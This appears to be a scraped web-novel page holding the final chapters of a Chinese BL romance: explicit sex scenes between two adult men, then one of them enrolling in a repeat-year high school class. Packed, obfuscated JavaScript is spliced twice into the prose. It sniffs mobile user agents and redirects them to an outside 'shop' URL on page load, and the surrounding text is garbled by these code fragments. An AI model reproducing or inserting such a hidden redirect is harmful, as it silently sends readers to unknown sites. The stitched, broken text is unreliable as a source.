l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216524|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂口直接触到了皮肤。温热,柔软,带着一点若有若无的湿意。 梁知下意识抬手,伸到了陆柏安的鼻子底下。 陆柏安反应过来他在做什么,哑声道:“这次不会流了。” 经过这些天一次次实操,他已经练出了克制力,再也不会像之前那样没出息。 梁知收回手,掌心顺势落在陆柏安的头顶,轻轻揉了揉他的头发,安安静静任由他动作。 过了片刻,他突然说:“这房子怎么办,以后还能租出去吗?” 陆柏安动作顿了顿,头也没抬:“没事,不租了就空着。我们以后想回来,也能偶尔回来住几天。” 梁知沉默了两秒:“但是这里死了人。” “死的是那个病秧子,正好。他要是真敢阴魂不散留在这儿,那我们就在这房子里做,让他看个够。” 梁知安静地想了两秒,原本淡淡的脸上,眼尾极轻地弯了一下,像是觉得这个提议很有意思。 然后两人东西也不收了,抱在一起开始接吻。亲着亲着,不知何时就从房间到了客厅的沙发上。 梁知被压进沙发里,后背陷进柔软的靠垫,腿被迫抬起来。 黑丝被撑到极限,丝线绷紧到几乎要断,然后微微回缩,再被下一次的动作撑得更满。 梁知的目光越过陆柏安的肩头,落在那张黑白照片上。 遗照摆在柜子顶上。照片里的陈信不笑,也不严肃,就是平常看着他时候的那种样子。 那双眼睛正对着沙发,从这个角度望过去,沙发上的每一个细节都落在那双不会眨动的眼睛里。两个人交叠的轮廓、凌乱的衣物、还有那条被撑到极限的黑丝。 丝线一根根崩断。 破洞一点点扩大。 一层薄粉从梁知的锁骨开始蔓延,先是淡淡的。随着呼吸逐渐急促,颜色渐深,爬上脖颈,染过胸膛。 他盯着照片里的男人,嘴唇微微张开,溢出一声低低的喘息。手指滑过陆柏安宽阔的脊背,留下若有若无的痕迹。 一阵风从窗外涌进来。那阵风来得突然,掠过沙发、两个人汗湿的身体和柜子顶的方向。 相框微微晃了晃,先是轻轻一颤,像是被什么碰了一下。然后晃动的幅度越来越大,相框在柜子顶上摇摇欲坠。 相框翻下来的时候,在空中转了大半圈。玻璃砸碎的声音不大,但很脆。碎渣迸溅开来,反射着窗外透进来的光。 那条黑丝也终于彻底撑不住了,最后的几根丝线崩断,裂口从大腿开到膝盖,整条丝袜松松垮垮地挂在梁知的腿上。 那阵风又吹来,这一次比刚才更大些,吹得茶几上的书页哗哗作响。是方桃借给他的《狼王梦》,此刻书页被风吹动,一页一页翻过去,像是什么人在翻阅什么。 书页被风吹得哗哗响,从第一页翻到中间,又从中间翻到后面,最后停在某一页,不动了。 梁知盯着那本书看了几秒,忽然开口:“陆柏安。” 陆柏安低头看他:“嗯?” “我知道我想做什么了。” “想做什么?” “我想读书。” 39.39 念头来得毫无征兆,却在心底一落定就再也没有动摇。梁知知道,这就是自己想要的。 陆柏安没有笑,也没有觉得天方夜谭,只微微顿了顿,轻声确认:“读书,考大学?” “嗯。”梁知点头,“考大学。” 陆柏安沉默了一瞬,眼底掠过一丝复杂的情绪。他自己念过大学,由于成绩平平只勉强上了个大专,对学习这种需要耗费大量时间和耐心的事没什么兴趣。 可那天夜里,梁知对着他说了很多过去的事,其中包括以前考上重点高中的事,如果当初能正常高考,那么他现在过的或许会是截然不同的人生。 他伸手,轻轻覆在梁知放在桌上的手背上,掌心的温度透过皮肤传过去。 “好。”他说,“那我们就读。” 接下来几天,他们一起跑了教育局和社区,梁知以社会考生的身份补齐了同等学力证明和其他资料。 脱离学校实在太久,当初再拔尖的成绩也不顶用,自学对他来说根本不现实。陆柏安提议找一对一老师上门教学,梁知思索了很久还是决定进学校备考。 八月将近,澜溪县的高三复读班已经陆续开始招生。县城不大,高中就那么几所,梁知直接选了离家最近的那一所。 报道的前两天,方桃从自家的文具店里抱了一大堆东西来送给梁知,本子、笔、橡皮、文具盒等。周清然也特意跑来找梁知,说他就读的那所高中有他认识的好哥们,如果在学校受欺负了尽管开口,他一句话就能摆平。 那一晚,梁知和陆柏安去超市里大采购。结账时,陆柏安装作不经意的样子往购物车里放了一盒安全套。 梁知垂眸扫了一眼,没说话,只是伸手进去,又添了两种不同的口味。 回到家后,梁知趁着陆柏安在厨房放东西的功夫穿戴上对方买的那一箱东西里唯三还没试过的几样。 高跟鞋、吊袜夹,最后是一件露背装。 黑色镂空的花纹从胸前蔓延到腰际,一转身,镜子里的后背一览无余,他偏过头,看见自己侧腰的弧线,还有腰窝那里小小的阴影。 身后有脚步声靠近,一步、两步、三步。 他能感觉到陆柏安的目光,从后颈开始,沿着露背装敞开的肌肤一路往下,落在哪里,哪里就微微发烫。 一个吻落在他的后背上,从肩胛骨开始,一寸一寸往下,像在丈量什么,又像在标记什么。手指不安分地往下,摸到腰窝那里,停住,用指腹在那个小小的凹陷上按了按。 梁知腰一软,陆柏安适时地扶住他,两只手都握上去,虎口卡住最细的那截。 梁知微微偏头,陆柏安便吻了上来。改成一只手还环在他腰上,另一只手撑在镜子上把他圈在中间。 吻了很久,分开的时候两个人都有些喘。梁知的嘴唇红红的,亮亮的,微微肿起来。陆柏安看着,又低头啄了一下。 “试试吗?”他问。 梁知明白他问的是什么,嗯了一声。 陆柏安选了草莓味的那盒,撕开包装,一股甜香漫出来,他低着头准备往自己身上戴。 手指被轻轻拉住了。他抬起头来,梁知没说话。 陆柏安顿了一秒,又低头继续手上的动作。刚把小雨伞的边缘对准自己,又被拉住了。 他又抬起头来,梁知还是不说话,只是拉着他的手没松开。 一来二去,陆柏安总算明白点什么。 他看向梁知漂亮的脸蛋和那根白净的东西,再低头看看自己茂密的黑森林,露出个迟疑的神情:“你确定?” 梁知点点头。 陆柏安沉默了一秒、两秒、三秒。 空气里草莓的甜味越来越浓,他终于有所动作。手指捏着那枚草莓味的小雨伞,慢慢地靠近梁知。 戴好了。 陆柏安退后一点,上下打量了一番,突然笑了。 “还挺适合你。”他说,语气里带着那种欠欠的调子,“草莓味的梁知。” 梁知抬脚轻轻踢了他一下,碎钻细高跟在灯光下一闪。 陆柏安握住他踢过来的脚踝,高跟鞋的系带在指腹下压出浅浅的痕迹,拇指摩挲着踝骨那块突出的皮肤,慢慢地打着圈摩挲。 下一秒,天旋地转。梁知被拽进床铺,陆柏安随即压下来,重量沉甸甸地落在他身上。 梁知仰面看着他,逆光的轮廓笼罩着对方,那双低垂的眼睛黑沉沉的,像是能把人吸进去。 身上的人抬起腰,一寸一寸沉下去。 额头抵住额头,鼻尖擦过鼻尖。两人的呼吸交缠在一起,滚烫而潮湿。 “还好吗?”陆柏安低声问他,声音哑得不像话。 梁知把脸埋在他颈窝里,喘出来的热气全喷在他锁骨上,闷闷地嗯了一声。 陌生的感觉从尾椎骨窜上来,顺着脊椎一路往上爬,爬得他头皮发麻。 室内的气温不断上升。床单被梁知攥得皱成一团,吊袜夹的银扣硌得大腿发红,可他已经顾不上了,攀在陆柏安后背的手指陷进皮肉里,随着他的动作一下又一下地收紧。 梁知不知道自己现在是什么模样,他只知道浑身都在发烫,像是有一把火从身体深处烧起来,烧得他喘不过气。 陆柏安突然出声,声音沙沙的:“你知道你现在什么样吗?” 梁知眼睛里蒙着一层水汽,看什么都是雾蒙蒙的,自然分不出神回答他。 陆柏安握住他的手腕,举过头顶按在枕边,嘴唇贴着他的耳廓:“专心。” 话音落下,腰身一沉。 梁知闷哼一声,手指倏地收紧,和他交握的那只手被捏得指节泛白。 恍惚间,他听到陆柏安贴着他,几乎是含着耳垂,一声一声喊他的名字。 梁知。 知知。 不知过了多久,窗外又响起一阵叽叽喳喳的鸟鸣。 天快亮了,还没结束。 梁知迷迷糊糊地想,陆柏安上辈子大概是属驴的。 * 报道那天是个天气很好的日子。 早上六点洗漱完出来,梁知看见陆柏安正站在客厅里对着他的书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220311|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包认真研究。 书包是新的,梁知自己挑的,简单的黑色,没什么多余的花纹。此刻它被打开,陆柏安正往里面放东西。 文具盒。里面笔尺橡皮削笔刀一应俱全。 水杯。装好了温水,拧紧盖子,放进侧边的网兜里。 纸巾。一包,塞进前袋。 湿巾。一包,也塞进去。 伞。折叠的,放在最下面。 梁知站在旁边看着,看着他一样一样往里放,放完了还要按一按,确认不会乱晃。 第一天复学,早餐是陆柏安亲自做的。煎蛋、烤吐司、牛奶、一小碟切好的水果,跟电视里学的,摆好在餐桌上看起来像杂志里的图片。 梁知咬了一口煎蛋。阳光从窗户照进来落在陆柏安的侧脸上,他今天穿了一件浅灰色的T恤,看起来很清爽。 梁知突然想起很多年前,小时候,每次开学的前一天晚上他都会自己把书包收拾好。没有人帮他看有没有漏掉什么,没有人帮他调整文具盒的位置,没有人会在他吃饭的时候就这么看着他。 吃完饭,陆柏安送梁知去上学。到校门口时人已经多了起来,全是赶早读的走读生,清一色十几岁的面孔,青涩、鲜活、蹦蹦跳跳。梁知走在这群人中间,比他们大了整整十多岁,却也并不显得突兀。 陆柏安停下来,把书包从肩上拿下来递过来,梁知接过来背好。 “第一天上学肯定会不适应,”陆柏安说,“学得进就学,学不进就多吃点,水杯给你放在书包里了,里面还有饼干和水果,困了就睡,饿了就吃,累了就休息,如果有小屁孩说你闲话就给我发消息。晚上放学我来接你。” “陆老板好操心。”梁知顿了顿,乖乖应下,“我知道了。” 他转身往校门口走,走出几步后回头一看,陆柏安还站在原地一动没动。 清晨的阳光穿过香樟的叶缝,碎金一样洒在他的发顶、肩膀、手臂上,把他整个人裹在一层浅金色的柔光里。 “陆柏安。”梁知突然出声,声音不高,却穿过嘈杂的人声清晰地传了过去。 陆柏安回应他:“嗯?” 梁知张了张嘴,想说什么。可是人太多了,话一下子不知道从哪句开始,最后他只是说了句:“晚上见。” 陆柏安也说:“晚上见。” 梁知抬起手挥了挥。 陆柏安也抬起手挥了挥。 梁知转身走进校园,身旁是成群结队说说笑笑的少年人,有人抱着书本飞奔,有人啃着早餐赶早读,清脆的笑声落在清晨的风里,充满了未经世事的鲜活。 他走过公告栏,走过操场,走过教学楼前层层台阶,抬头便能看见宽敞明亮的教室。那是他曾经以为,这辈子都再也踏不进去的地方。 深吸了一口校园里干净的空气,他再次抬起脚步。 门外,陆柏安还站在树下望着他消失在教学楼拐角的身影,久久没有离开。 门内,梁知的崭新人生正迎着漫天晨光,明亮而热烈地,展开。 ——正文完——